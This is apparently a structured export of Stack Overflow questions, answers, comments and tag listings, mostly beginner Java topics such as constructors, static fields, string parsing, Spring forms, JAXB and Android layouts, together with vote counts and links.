has body: Yeah you're right. Since you're getting the user input in the TriangleTester you need to pass them to the Triangle class. public Triangle(double x1, double x2, double x3, double y1, double y2, double y3) { this.x1 = x1; this.x2 = x2; this.x3 = x3; this.y1 = y1; this.y2 = y2; this.y3 = y3; } And create the Triangle object after getting the values from user like this: Triangle triangle1 = new Triangle(x1, x2, x3, y1, y2, y3); System.out.println("Length of side c " + triangle1.getLengthC()); Note: It is a recommended practice to make all the instance variables of your class as private and provide proper getters and setters for them.
score: 0
type: Answer
answers question: http://stackoverflow.com/q/22216545
has comment: http://stackoverflow.com/comment/33733290
has comment: http://stackoverflow.com/comment/33734801
accepted answer of: http://stackoverflow.com/q/22216545
has comment: http://stackoverflow.com/comment/33732644
type: AcceptedAnswer

http://stackoverflow.com/q/22272740
has body: I am having an issue with declaring and initializing object arrays within Java using jGrasp. This is an assignment and I copied the code straight from the book and changed the class and array name. I have tried assigning and initializing without an array by using 'itemA, itemB, itemC' with the same duplicate output as you can see at the bottom of the code. Driver class: class Driver { public static void main(String[] args) { RetailItem[] item = new RetailItem[3]; item[0] = new RetailItem("a", 1, 1); item[1] = new RetailItem("b", 2, 2); item[2] = new RetailItem("c", 3, 3); for (int i = 0; i &lt; item.length; i++) { System.out.printf("item: " + item[i].getItemName()); } } The output results in: item: c item: c item: c I do not understand as I am a beginner as to why the output is always the last array object initialized. The output that I am attempting is: item: a item: b item: c Here is my RetailItem class: class RetailItem { private static String itemName; private static int unitsOnHand; private static double priceEach; //Constructor(s) public RetailItem(String name, int qty, double price) { itemName = name; unitsOnHand = qty; priceEach = price; } //Public Methods public static double getPriceEach() { return priceEach; } public static String getItemName() { return itemName; } public static int getUnitsOnHand() { return unitsOnHand; } }
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/33833303
has title: Array only outputs last array initialized
tagged with: arrays
has comment: http://stackoverflow.com/comment/33832949
possible better answer: http://stackoverflow.com/a/22272829
type: AnsweredQuestion
tagged with: java
has comment: http://stackoverflow.com/comment/33832905
type: Question
has answer: http://stackoverflow.com/a/22272829
has answer: http://stackoverflow.com/a/22272826
accepted answer: http://stackoverflow.com/a/22272826
has comment: http://stackoverflow.com/comment/33832871

http://stackoverflow.com/q/22281087
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33848022
tagged with: java
has comment: http://stackoverflow.com/comment/33848065
accepted answer: http://stackoverflow.com/a/22281138
type: Question
has answer: http://stackoverflow.com/a/22281135
has answer: http://stackoverflow.com/a/22281123
has title: Finding Data within a String
answer count: 6
has answer: http://stackoverflow.com/a/22281131
score: 0
has answer: http://stackoverflow.com/a/22281149
possible better answer: http://stackoverflow.com/a/22281123
tagged with: string
has answer: http://stackoverflow.com/a/22281138
has comment: http://stackoverflow.com/comment/33847997
has answer: http://stackoverflow.com/a/22281126
has comment: http://stackoverflow.com/comment/33848094
has body: I'm trying to find a way to cycle through a string and get data within two characters, for example... I have the following String. String test = "&lt;172&gt;Lorem Ipsum"; Lets say I want the data that is in-between the two characters '&lt;' &amp; '>' So the result should be "172" Now, if the string was going to be 3 digits inbetween these every time, using a sub-string would be fine, however that's not the case, as this string will be changing, so lets say this string could be String test = "&lt;9&gt;Lorem Ipsum" I would need the result to be "9" How should I go about getting this information.

http://stackoverflow.com/comment/33671252
type: QuestionComment
has text: I'm sorry, but the code you posted doesn't have any attempted logic to it. It just defines a multi-dimensional array and a delimitered String. Don't you have some sort of pre-code algorithm or something?
comment on: http://stackoverflow.com/q/22182920
score: 0
type: Comment

http://stackoverflow.com/comment/33738401
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/22220647
has text: In addition, be sure to identify what the script is printing to stdout vs stderr.
type: Comment

http://stackoverflow.com/q/22277997
has comment: http://stackoverflow.com/comment/33842753
accepted answer: http://stackoverflow.com/a/22278142
has body: I have the following Spring 3.2 form. It has two buttons, and I want to perform a different action depending on which button is clicked. <form:form action="approve" method="post"> <% List<Bulletin> bulletins = (List<Bulletin>) request.getAttribute("bulletins"); for (Bulletin bulletin : bulletins) { bulletin.setNote(bulletin.getNote().replace("\n\n", "\n ")); String[] bulletinArray = bulletin.getNote().split("\n"); out.println("Name: " + bulletin.getName() + " "); out.println("Date: " + bulletin.getDate() + " "); out.print("Comment: "); for (int i = 0; i < bulletinArray.length; i++) { if (i == bulletinArray.length - 1) { out.println(bulletinArray[i]); } else { out.println(bulletinArray[i] + " "); } } out.println(" "); } %> </form:form> I have the following methods in my controller. @RequestMapping(value = "/approve", method = RequestMethod.POST, params = { "approve" }) public String approve(@RequestParam int id, @RequestParam String approve, Model model) { try { bulletinDAO.approveBulletin(id); model.addAttribute("approval", "Your bulletin has been approved."); List<Bulletin> bulletins = bulletinDAO.getApprovedBulletins(); model.addAttribute("bulletins", bulletins); } catch (Exception e) { System.out.println(e.getMessage()); return "FailurePage"; } return "redirect:/waitingBulletins"; } @RequestMapping(value = "/approve", method = RequestMethod.POST, params = { "deny" }) public String deny(@RequestParam int id, @RequestParam String deny, Model model) { try { bulletinDAO.denyBulletin(id); model.addAttribute("approval", "Your bulletin has been denied."); List<Bulletin> bulletins = bulletinDAO.getApprovedBulletins(); model.addAttribute("bulletins", bulletins); } catch (Exception e) { System.out.println(e.getMessage()); return "FailurePage"; } return "redirect:/waitingBulletins"; } Whichever button I click on, I get an HTTP Status 400 error with the description "The request sent by the client was syntactically incorrect." As you can see, each method has a parameter of ty…
has title: Spring 3.2 form with 2 buttons -- request syntactically incorrect
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/33842757
has comment: http://stackoverflow.com/comment/33842720
has answer: http://stackoverflow.com/a/22278142
has comment: http://stackoverflow.com/comment/33842933
tagged with: spring-mvc
tagged with: model-view-controller
type: AnsweredQuestion
tagged with: spring-3
tagged with: java
type: Question

http://stackoverflow.com/comment/33902039
comment on: http://stackoverflow.com/q/22310783
has text: why not just concatenate the split variable back into the output??
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22286637
tagged with: java
type: Question
tagged with: asymptotic-complexity
has title: running time of longest non-decreasing segment in an array
score: 0
tagged with: time-complexity
answer count: 1
has answer: http://stackoverflow.com/a/22286987
has comment: http://stackoverflow.com/comment/33858331
accepted answer: http://stackoverflow.com/a/22286987
has body: I have a method in java that finds the longest non-decreasing segment in an array. The method works, however, as part of the assignment, I need to find the running time of size n elements using the method in terms of O(f(n))(i.e upper bound) and Ω(g(n))(i.e lower bound). Can someone help me? thanks in advance!! public int maxAscent(int A[]) { int num = 0; int count = 1; int i; for(i = 0; i &lt; A.length-1; i++) if(A[i] &lt;= A[i+1]) count++; else { if(count &gt; num) num = count; count = 1; } if(count &gt; num) num = count; return num; }
type: AnsweredQuestion

http://stackoverflow.com/q/22284249
has body: When I started to code my application I was not very carefully about commenting my code. Later I regret of course. This have happened a lot of times, and Im looking for some tips about how to do a effective commenting of code where I still understand what I have wrote. I don't want to end up like this //When I wrote this code only my and god understood what it did... now only god do
score: -1
tagged with: c++
type: AnsweredQuestion
tagged with: java
downvote count: 2
upvote count: 1
accepted answer: http://stackoverflow.com/a/22284626
type: Question
has answer: http://stackoverflow.com/a/22284902
has answer: http://stackoverflow.com/a/22284413
has comment: http://stackoverflow.com/comment/33853658
tagged with: javascript
answer count: 6
has answer: http://stackoverflow.com/a/22284627
has comment: http://stackoverflow.com/comment/33855120
has comment: http://stackoverflow.com/comment/33853818
has comment: http://stackoverflow.com/comment/33853853
has comment: http://stackoverflow.com/comment/111585607
favorite count: 0
possible better answer: http://stackoverflow.com/a/22284374
has answer: http://stackoverflow.com/a/22284374
has answer: http://stackoverflow.com/a/22284626
has title: Good code commenting tips
tagged with: php
has answer: http://stackoverflow.com/a/22284445

http://stackoverflow.com/a/22280293
has comment: http://stackoverflow.com/comment/33847262
has comment: http://stackoverflow.com/comment/33848408
has comment: http://stackoverflow.com/comment/33847474
type: Answer
has comment: http://stackoverflow.com/comment/33848311
has comment: http://stackoverflow.com/comment/33848392
has comment: http://stackoverflow.com/comment/33857158
has body: According to this page you need to EITHER have Manifest.txt present when you create or update the JAR, or use the e option to specify the main class. Probably the latter would make more sense in your case. jar cfe newjar.jar mypackage.MainClass G:\Project1\project
answers question: http://stackoverflow.com/q/22280112
has comment: http://stackoverflow.com/comment/33848417
has comment: http://stackoverflow.com/comment/33846925
has comment: http://stackoverflow.com/comment/33847914
score: 0
has comment: http://stackoverflow.com/comment/33847447

http://stackoverflow.com/comment/33853562
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22284061
has text: When I ran it, my output was: 'abd'
score: 0

http://stackoverflow.com/q/22187400
favorite count: 0
has comment: http://stackoverflow.com/comment/33679119
has answer: http://stackoverflow.com/a/22187448
has title: Recursive method reverse string, why isn't the call working for the reverse method?
has comment: http://stackoverflow.com/comment/33679120
has comment: http://stackoverflow.com/comment/33679108
type: UnansweredQuestion
downvote count: 1
has body: I have to reverse a string and make it in a recursive order. I was wondering why I can't call it. Also, would this be the correct way to reverse and print it out recursively? import java.util.Scanner; public class ReverseString { public static void main(String[] args) { System.out.println("Please enter the string you want reversed:"); Scanner str = new Scanner (System.in); String input = str.nextLine(); System.out.println(input); reversedString recursive = new reversedString; System.out.println("Recursively reversed string: " + reversedString); } public static String recursive(String input) { if ((null == input) || (input.length() &lt;= 1)) { return input; } return recursive(input.substring(1)) + input.charAt(0); } } Would like to thank Jace J McPherson for the fix. It was as simple as replacing the reversedString recursive = new reversedString; to String reversedString = new recursive(input);
type: Question
tagged with: recursion
tagged with: java
score: -1
upvote count: 0
has comment: http://stackoverflow.com/comment/33679140
answer count: 1
has comment: http://stackoverflow.com/comment/33679135

http://stackoverflow.com/a/22268419
score: 1
answers question: http://stackoverflow.com/q/22268387
upvote count: 1
has body: You can set an android:click property in the xml. This will allow you to decide what function to call when the button is clicked in the xml. The function must take the same parameters as the normal onClick function and must be part of your activity, but can be named anything you want- Like onePressed, twoPressed, etc.
type: Answer
downvote count: 0

http://stackoverflow.com/q/22296710
has answer: http://stackoverflow.com/a/22296782
upvote count: 1
tagged with: maven
tagged with: methods
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/22296782
score: 1
tagged with: java
has title: what does the method Mojo.getLog() do?
type: Question
has comment: http://stackoverflow.com/comment/33875958
answer count: 2
has body: I wonder why nowhere is it said how getLog() in maven really works? It would be nice if someone can describe the main task of this method in just a few sentences.
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/33875960
has comment: http://stackoverflow.com/comment/33876034
possible better answer: http://stackoverflow.com/a/22296867
has answer: http://stackoverflow.com/a/22296867

http://stackoverflow.com/comment/33751634
comment on: http://stackoverflow.com/a/22208261
type: AnswerComment
score: 0
type: Comment
has text: @dstarh Make sure you are not using autocommit.

http://stackoverflow.com/comment/46057447
type: AnswerComment
comment on: http://stackoverflow.com/a/22212926
has text: It is fine to use the EmailValidator like this. It is just that we give no guarantee regarding backwards API stability for internal classes. For public API and SPI we attempt to not break existing contracts or at least provide a migration path. Internal classes we might change without a migration path and without any warning.
score: 0
type: Comment

http://stackoverflow.com/comment/33888343
score: 0
comment on: http://stackoverflow.com/q/22287795
type: Comment
type: QuestionComment
has text: Perhaps you're looking for [keytool](http://docs.oracle.com/javase/7/docs/technotes/tools/windows/keytool.html)?

http://stackoverflow.com/a/22297236
upvote count: 3
score: 3
accepted answer of: http://stackoverflow.com/q/22292002
has body: There is two consumer kind in Camel (eg from the EIP book) Consumer PollingConsumer Its the former that is used in the Camel routes. And the latter is used when you use it explicit or when using ConsumerTemplate, to use the receive methods. A Camel component is able to adapt a Consumer to a PollingConsumer out of the box. So it depends if you want to build a Camel component that are used in routes, you can just create a consumer. And have it able to do both poll and subscribe. When you have the data, then create an Exchange and call the processor to route it. For documentation then check the Camel website, and/or chapter 11 in the Camel in Action book which covers creating custom components.
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/22292002
type: Answer

http://stackoverflow.com/q/22177733
score: 1
tagged with: java
tagged with: database
has answer: http://stackoverflow.com/a/22177882
tagged with: date
type: Question
answer count: 2
downvote count: 0
has title: How to set search condition of date, to retrieve other details on that date from database?
favorite count: 0
tagged with: java.util.date
linked to: http://stackoverflow.com/q/6066335
has answer: http://stackoverflow.com/a/22188040
type: UnansweredQuestion
has body: These are the basic conditions set in my code. t1 = new JFormattedTextField(new SimpleDateFormat("dd-MM-yyyy")); t1.setValue(new java.util.Date()); java.util.Date searchDate=(java.util.Date)t1.getValue(); Retrieving Date from the Result Set. Date Date1 = rs.getDate("Date1"); I wanted to know whether this condition for matching the dates i enter and for retrieving the dates from database is correct or not. I am new in the world of coding. if(new java.sql.Date(searchDate.getTime()).equals(Date1)) { ... //code }
upvote count: 1
tagged with: swing

http://stackoverflow.com/a/22205067
answers question: http://stackoverflow.com/q/22204548
score: 0
type: Answer
has body: Change your LinearLayout to a RelativeLayout, Change your TextView replace android:layout_width="fill_parent" by android:layout_width="wrap_content" and add android:layout_centerInParent="true"

http://stackoverflow.com/a/22236118
type: Answer
upvote count: 1
has body: You are incrementing too soon, this should work: while (split.length &gt; count) { System.out.println("Splt: " + split[count]); count++; } Remember arrays are indexed starting from 0. Some (cleaner) alternatives to consider: //using a for loop for (int i=0; i&lt;split.length; i++) { System.out.println("Splt: " + split[i]); } or //using an enhanced for loop (since Java 5) for (String str: split) { System.out.println("Splt: " + str); } You can find more information here.
score: 1
answers question: http://stackoverflow.com/q/22236054
downvote count: 0

http://stackoverflow.com/q/22250770
tagged with: android-mediaplayer
has comment: http://stackoverflow.com/comment/33792935
has title: LiveStreaming Media Player Error (1, -2147483648)
has comment: http://stackoverflow.com/comment/33792855
score: 0
tagged with: android
has answer: http://stackoverflow.com/a/22251985
answer count: 1
has body: Android media player unable to play the livestream url = rtsp://v3.cache8.c.youtube.com/CiILENy73wIaGQmXovF6e-Rf-BMYDSANFEgGUgZ2aWRlb3MM/0/0/0/video.3gp But plays the http url= http://www.pocketjourney.com/downloads/pj/video/famous.3gp This is the error log 03-07 12:16:32.702: E/MediaPlayer(869): error (1, -2147483648)
has comment: http://stackoverflow.com/comment/33793017
has comment: http://stackoverflow.com/comment/33793070
linked to: http://stackoverflow.com/q/15225076
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33797916
has comment: http://stackoverflow.com/comment/33792950
tagged with: java
has comment: http://stackoverflow.com/comment/33792827
type: Question
linked to: http://stackoverflow.com/q/17765605
has comment: http://stackoverflow.com/comment/33793029

record
type: Tag
tag name: record
tags question: http://stackoverflow.com/q/22197605

http://stackoverflow.com/a/22189045
downvote count: 0
score: 2
type: Answer
upvote count: 2
has body: You can have multiple Javas installed. Sounds like you have a 32 bit JDK and a 64 bit JRE. 64 bit software is installed in the "program files" folder, and 32 bit software is installed in the "program files (x86)" folder. a 64 bit JDK will live in /program files/java/jdkxxx Download the 64 bit JDK installer and install it, and then point your JAVA_HOME to it. The installer takes care of this so far as I remember, but you will want to modify your PATH variable as well to point to %JAVA_HOME%/bin; ... add that to the front of the path so that typing Java will find your JDK first.
answers question: http://stackoverflow.com/q/22188096

http://stackoverflow.com/comment/33754856
score: 0
comment on: http://stackoverflow.com/q/22228982
type: QuestionComment
type: Comment
has text: Do the toast messages get shown on the screen ?

http://stackoverflow.com/comment/70091716
score: 1
type: AnswerComment
has text: @AbhinavVutukuri I tried to explain it in my answer in different question: http://stackoverflow.com/questions/25056607/confusing-output-from-string-split/25058091#25058091
comment on: http://stackoverflow.com/a/22259885
type: Comment

http://stackoverflow.com/q/22265927
has comment: http://stackoverflow.com/comment/33821163
score: 2
has comment: http://stackoverflow.com/comment/33821071
tagged with: java
has body: So, I'm writing a password verification thingy, loading username and passwords from a database, but I can't figure out how to keep the database username and password out of the code. String user = "username";//database username, not username to verify String password = "password";//my password, not users password to check String url = "jdbc:mysql://databaseurl:3306/table"; //i want this hidden somehow I could load it from a file, but then people could just read the file. Obviously I don't want people gaining access to the database and reading secret information. How should I go about doing this? EDIT: What I'm asking, is, how can I secure MY database credentials. Other people should not have access to the database You could, for instance, decompile the jar and read the above lines, and access my database using my credentials. (using a program such as jd-gui)
has answer: http://stackoverflow.com/a/22265992
type: Question
has comment: http://stackoverflow.com/comment/33821075
has answer: http://stackoverflow.com/a/22266207
upvote count: 3
tagged with: security
has comment: http://stackoverflow.com/comment/33821219
downvote count: 1
has title: Keeping secret information secret
has answer: http://stackoverflow.com/a/22265986
favorite count: 0
has comment: http://stackoverflow.com/comment/33821009
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33821067
has answer: http://stackoverflow.com/a/22266047
answer count: 4

http://stackoverflow.com/comment/33882990
score: 2
type: Comment
comment on: http://stackoverflow.com/q/22300699
type: QuestionComment
has text: Why don't you use OSGi?

http://stackoverflow.com/q/22236701
type: Question
tagged with: swipe
tagged with: motionevent
score: 1
tagged with: java
tagged with: android-viewpager
downvote count: 0
favorite count: 0
tagged with: android
answer count: 0
type: UnansweredQuestion
has title: Detecting a swipe to a non-existent element in ViewPager
upvote count: 1
has body: I have a ViewPager, which has ListViews in the rear Fragments and I want to intercept a swipe gesture over an item within the ListView, if it's moving in the opposite direction other ViewPager items are. Example: Let's assume that all the other Fragments in within the ViewPager are on our left already and I try to swipe to the next element (i.e. swipe right to left). Since we're already on the last element, nothing will happen - I want to know when such a move occurs and over which item in the ListView. I've tried intercepting a MotionEvent through overriding onInterceptTouchEvent in the ViewPager class, but ended with the ListView's animations getting buggy instead (the hover-flash wouldn't disappear), and thought myself if that's even the right way to do such a thing. Is there a feasible way to do this without rewriting whole touch event handling?

http://stackoverflow.com/q/22214175
has title: Convert Java object methods call results to Clojure map
favorite count: 0
has answer: http://stackoverflow.com/a/22215208
has body: I'm new to Clojure and have created a simple macro to call certain methods on a Java class and return results into a Clojure map and this all works fine. (Also i'm aware of the bean function however the classes I'm using aren't beans). My question is in regard to the calling code. Is it better form to pass the Java 'methods' as symbols? I'm not even sure what type .toString is at the moment (in the calling code)? It all works but not sure its idiomatic Clojure. (defmacro obj-to-map [obj &amp; body] (let [afn (fn method kw `(~kw (~method ~obj)))] `(assoc {} ~@(mapcat afn (partition 2 body))))) (obj-to-map "hello" .length :length .toString :value) =&gt; {:value "hello", :length 5}
tagged with: clojure
has answer: http://stackoverflow.com/a/73235009
has comment: http://stackoverflow.com/comment/33754823
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33771865
score: 3
upvote count: 3
tagged with: java
possible better answer: http://stackoverflow.com/a/73235009
type: Question
accepted answer: http://stackoverflow.com/a/22215208
downvote count: 0
answer count: 2

http://stackoverflow.com/comment/33814324
type: QuestionComment
has text: Do you have some kind of `Collection` or an array of `Player`s, or can you get one? If so, use it to the right of the `:`.
comment on: http://stackoverflow.com/q/22262083
score: 2
type: Comment

http://stackoverflow.com/a/22198224
type: Answer
has body: You can add command line arguments via eclipse like this Run --> Run Configurations --> Java Application In this you'll a window like below where the second tab is Arguments. Give your command line arguments as comma separated values(I've placed a HERE just to highlight that box).
has comment: http://stackoverflow.com/comment/33697907
accepted answer of: http://stackoverflow.com/q/22198104
upvote count: 1
has comment: http://stackoverflow.com/comment/33698030
answers question: http://stackoverflow.com/q/22198104
has comment: http://stackoverflow.com/comment/33741011
has comment: http://stackoverflow.com/comment/33697832
type: AcceptedAnswer
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/33699355

marshalling
tags question: http://stackoverflow.com/q/22205877
tag name: marshalling
tags question: http://stackoverflow.com/q/22196082
tags question: http://stackoverflow.com/q/22259550
type: Tag

http://stackoverflow.com/comment/33789989
has text: Thank you very much the code working perfect and it is very instructive for a beginner. I have learned new stuf. Thanks, i can't vote on you because i am new hier sorry.
comment on: http://stackoverflow.com/a/22249189
type: AnswerComment
type: Comment
score: 1

http://stackoverflow.com/a/22310784
accepted answer of: http://stackoverflow.com/q/22310754
has comment: http://stackoverflow.com/comment/33901881
answers question: http://stackoverflow.com/q/22310754
type: Answer
has body: Yes, Socket and ServerSocket use TCP/IP. The package overview for the java.net package is explicit about this, but it's easy to overlook. UDP is handled by the DatagramSocket class.
downvote count: 0
score: 16
type: AcceptedAnswer
upvote count: 16

http://stackoverflow.com/q/22249753
tagged with: hashmap
downvote count: 0
has title: Can not understand this Map.entry parameter
has answer: http://stackoverflow.com/a/22249804
favorite count: 0
possible better answer: http://stackoverflow.com/a/22249805
has comment: http://stackoverflow.com/comment/33790884
has answer: http://stackoverflow.com/a/22249805
has body: How does this code work? private double Summa(Iterator&lt;Map.Entry&lt;Integer, List&lt;Double&gt;&gt;&gt; i,int[] array) Don't really understand how this parameter works. Map.entry returns a collection of whats in the map if im not mistaken. But does this iterate trough all the entries in the map?
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33790973
accepted answer: http://stackoverflow.com/a/22249804
score: 1
tagged with: java
upvote count: 1
type: Question
tagged with: iterator
answer count: 2

http://stackoverflow.com/a/22242217
has comment: http://stackoverflow.com/comment/33781223
score: 1
has comment: http://stackoverflow.com/comment/33780669
has comment: http://stackoverflow.com/comment/33780574
has comment: http://stackoverflow.com/comment/33779693
has comment: http://stackoverflow.com/comment/33781019
downvote count: 0
has comment: http://stackoverflow.com/comment/33784516
type: Answer
has comment: http://stackoverflow.com/comment/33779524
has comment: http://stackoverflow.com/comment/33782216
has comment: http://stackoverflow.com/comment/33780194
has comment: http://stackoverflow.com/comment/33781445
has comment: http://stackoverflow.com/comment/33778372
has comment: http://stackoverflow.com/comment/33778668
upvote count: 1
answers question: http://stackoverflow.com/q/22240994
has body: You're just creating endless threads that all just receive from the same socket. You only need one of those, and the loop should be inside its run() method.

http://stackoverflow.com/a/22202216
has comment: http://stackoverflow.com/comment/33706471
score: 0
upvote count: 1
downvote count: 1
type: Answer
has body: I guess what you want to do is public void onClick(View view) { List&lt;HashMap&gt; list = new ArrayList&lt;HashMap&gt;(); for (int i=1; i &lt;= count; i++) { // figure to be input into column Double profit = totalsum - cost; Double balance = totalsum - profit - cost; Double revenue = total sum; list.add(populatelist(i,profit,balance,revenue)); } } protected HashMap populatelist(int i,Double profit,Double balance, Double revenue) { HashMap temp = new HashMap(); temp.put(FIRST_COLUMN,i); temp.put(SECOND_COLUMN, balance); temp.put(THIRD_COLUMN, profit); temp.put(FOURTH_COLUMN, revenue); return temp; } But hard to say with what you gave.
answers question: http://stackoverflow.com/q/22202035
has comment: http://stackoverflow.com/comment/33705138
has comment: http://stackoverflow.com/comment/33705465

http://stackoverflow.com/comment/33727248
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22213529
has text: I see you've made the constants static, which may well be an improvement. But you've also made a lot of other stuff static, which the OP mightn't necessarily want. It's worth noting that if you don't do that, you'll need to write `f.getInt(this)` not `f.getInt(f)`, to make sure that the fields' values are taken from the correct object. It's probably better form to use `f.getInt(null)` to get a static field.
score: 0

android
tags question: http://stackoverflow.com/q/22206563
tags question: http://stackoverflow.com/q/22188102
tags question: http://stackoverflow.com/q/22320349
tags question: http://stackoverflow.com/q/22269809
tags question: http://stackoverflow.com/q/22317440
tags question: http://stackoverflow.com/q/22271872
tags question: http://stackoverflow.com/q/22315462
tags question: http://stackoverflow.com/q/22309066
tags question: http://stackoverflow.com/q/22285222
tags question: http://stackoverflow.com/q/22286958
tags question: http://stackoverflow.com/q/22213372
tags question: http://stackoverflow.com/q/22316876
tags question: http://stackoverflow.com/q/22250538
tags question: http://stackoverflow.com/q/22244320
tags question: http://stackoverflow.com/q/22261286
tags question: http://stackoverflow.com/q/22316957
tags question: http://stackoverflow.com/q/22303615
tags question: http://stackoverflow.com/q/22194953
tags question: http://stackoverflow.com/q/22327421
tags question: http://stackoverflow.com/q/22181480
tags question: http://stackoverflow.com/q/22305599
tags question: http://stackoverflow.com/q/22181318
tags question: http://stackoverflow.com/q/22272211
tags question: http://stackoverflow.com/q/22315330
tags question: http://stackoverflow.com/q/22225319
tags question: http://stackoverflow.com/q/22323331
tags question: http://stackoverflow.com/q/22238881
tags question: http://stackoverflow.com/q/22248762
tags question: http://stackoverflow.com/q/22184994
tags question: http://stackoverflow.com/q/22272719
tags question: http://stackoverflow.com/q/22291968
tags question: http://stackoverflow.com/q/22197335
tags question: http://stackoverflow.com/q/22275855
tags question: http://stackoverflow.com/q/22247353
tags question: http://stackoverflow.com/q/22278661
tags question: http://stackoverflow.com/q/22233850
tags question: http://stackoverflow.com/q/22204200
tags question: http://stackoverflow.com/q/22308922
tags question: http://stackoverflow.com/q/22174995
tags question: http://stackoverflow.com/q/22216322
tags question: http://stackoverflow.com/q/22170070
tags question: http://stackoverflow.com/q/22214160
tags question: http://stackoverflow.com/q/22235025
tags question: http://stackoverflow.com/q/22172152
tags question: http://stackoverflow.com/q/22207728
tags question: http://stackoverflow.com/q/22302178
tags question: http://stackoverflow.com/q/22208609
tags question: http://stackoverflow.com/q/22311070
tags question: http://stackoverflow.com/q/22244784
tags question: http://stackoverflow.com/q/22306952
tags question: http://stackoverflow.com/q/22248948
tags question: http://stackoverflow.com/q/22238581
tags question: http://stackoverflow.com/q/22280508
tags question: http://stackoverflow.com/q/22246630
tags question: http://stackoverflow.com/q/22212907
tags question: http://stackoverflow.com/q/22202580
tags question: http://stackoverflow.com/q/22312760
tags question: http://stackoverflow.com/q/22259773
tags question: http://stackoverflow.com/q/22197559
tags question: http://stackoverflow.com/q/22178763
tags question: http://stackoverflow.com/q/22298322
tags question: http://stackoverflow.com/q/22274475
tags question: http://stackoverflow.com/q/22291008
tags question: http://stackoverflow.com/q/22277378
tags question: http://stackoverflow.com/q/22173134
tags question: http://stackoverflow.com/q/22268872
tags question: http://stackoverflow.com/q/22257062
tags question: http://stackoverflow.com/q/22257235
tags question: http://stackoverflow.com/q/22245764
tags question: http://stackoverflow.com/q/22205913
tags question: http://stackoverflow.com/q/22244497
tags question: http://stackoverflow.com/q/22328145
tags question: http://stackoverflow.com/q/22179025
tags question: http://stackoverflow.com/q/22186339
tags question: http://stackoverflow.com/q/22325905
tags question: http://stackoverflow.com/q/22257910
tags question: http://stackoverflow.com/q/22176485
tags question: http://stackoverflow.com/q/22312086
tags question: http://stackoverflow.com/q/22308515
tags question: http://stackoverflow.com/q/22168858

internet-explorer-9
tag name: internet-explorer-9
tags question: http://stackoverflow.com/q/22225046
type: Tag

http://stackoverflow.com/comment/34199755
has text: Here's where I implemented it: http://stackoverflow.com/questions/10425569/radiogroup-with-two-columns-which-have-ten-radiobuttons/22465700#22465700
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22314668
type: Comment

http://stackoverflow.com/comment/33667982
has text: I've no reason to switch, I've already set everything up. I just want to know if there is a way to get my problem solved. What are the advantages of JButton?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22180879

http://stackoverflow.com/comment/34057372
has text: Can you post not only the getView() code but the entire adapter?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22218106

http://stackoverflow.com/comment/33908949
type: QuestionComment
comment on: http://stackoverflow.com/q/22314559
has text: @user3000477 no, it's just a suggestion. Also, the mods will most likely be flagged for the length of this comment stream...
score: 0
type: Comment

http://stackoverflow.com/comment/33804001
type: QuestionComment
has text: Is your matrix tree an [Adjacency matrix](http://en.wikipedia.org/wiki/Adjacency_matrix)?
comment on: http://stackoverflow.com/q/22254632
score: 0
type: Comment

http://stackoverflow.com/a/27364495
has body: The date in stackTrace is :- Sat March 15 2014 09:00:00 UTC+1000 However, in local your date is :- String date = "Sun Mar 16 2014 10:30:00 GMT 0530 (India Standard Time)" For running the code with date you are using in remote machine, your dateformat should be :- DateFormat stdf = new SimpleDateFormat( "EEE MMMMM dd yyyy HH:mm:ss zZ (zzzz)"); Notice 5 Ms instead of 3Ms.
answers question: http://stackoverflow.com/q/22294129
score: 0
type: Answer

http://stackoverflow.com/comment/33903784
score: 0
has text: Well, comment everything below `super.onCreate(savedInstanceState);` and try again.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22311645

http://stackoverflow.com/q/22191021
has comment: http://stackoverflow.com/comment/33685287
has title: Jaxb unmarshal doesn't works
has body: I have this xml file: <?xml version="1.0" encoding="UTF-8"?> <diffgr:diffgram xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1" xmlns="http://tempuri.org/" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata"> York </diffgr:diffgram> I have this java code: XMLInputFactory xif = XMLInputFactory.newFactory(); String content = readFile("D:\\work\\cim\\target\\my.xml", Charset.defaultCharset()); StreamSource xml = new StreamSource(new StringReader(content)); XMLStreamReader xsr = xif.createXMLStreamReader(xml); xsr.nextTag(); while(!xsr.getLocalName().equals("Result")) { xsr.nextTag(); } JAXBContext jc = JAXBContext.newInstance(CimRecordTest.class); Unmarshaller unmarshaller = jc.createUnmarshaller(); JAXBElement<CimRecordTest> jb = unmarshaller.unmarshal(xsr, CimRecordTest.class); xsr.close(); CimRecordTest cimRecordTest = jb.getValue(); System.out.println(cimRecordTest.getCity()); In console output I see null What do I wrong? P.S import javax.xml.bind.annotation.XmlAccessType; import javax.xml.bind.annotation.XmlAccessorType; import javax.xml.bind.annotation.XmlElement; import javax.xml.bind.annotation.XmlRootElement; @XmlRootElement(name = "record") @XmlAccessorType(XmlAccessType.FIELD) public class CimRecordTest { /** * CITY */ @XmlElement(name="CITY") private String city; public String getCity() { return city; } public void setCity(String city) { this.city = city; } } P.S I make according http://blog.bdoughan.com/2012/08/handle-middle-of-xml-document-with-jaxb.html - I don't see differences P.S. java version "1.7.0_45"
accepted answer: http://stackoverflow.com/a/22196764
favorite count: 0
has comment: http://stackoverflow.com/comment/33691362
has answer: http://stackoverflow.com/a/22196764
has comment: http://stackoverflow.com/comment/33685305
tagged with: http://stackoverflow.com/tag/xml
score: 2
has comment: http://stackoverflow.com/comment/33698425
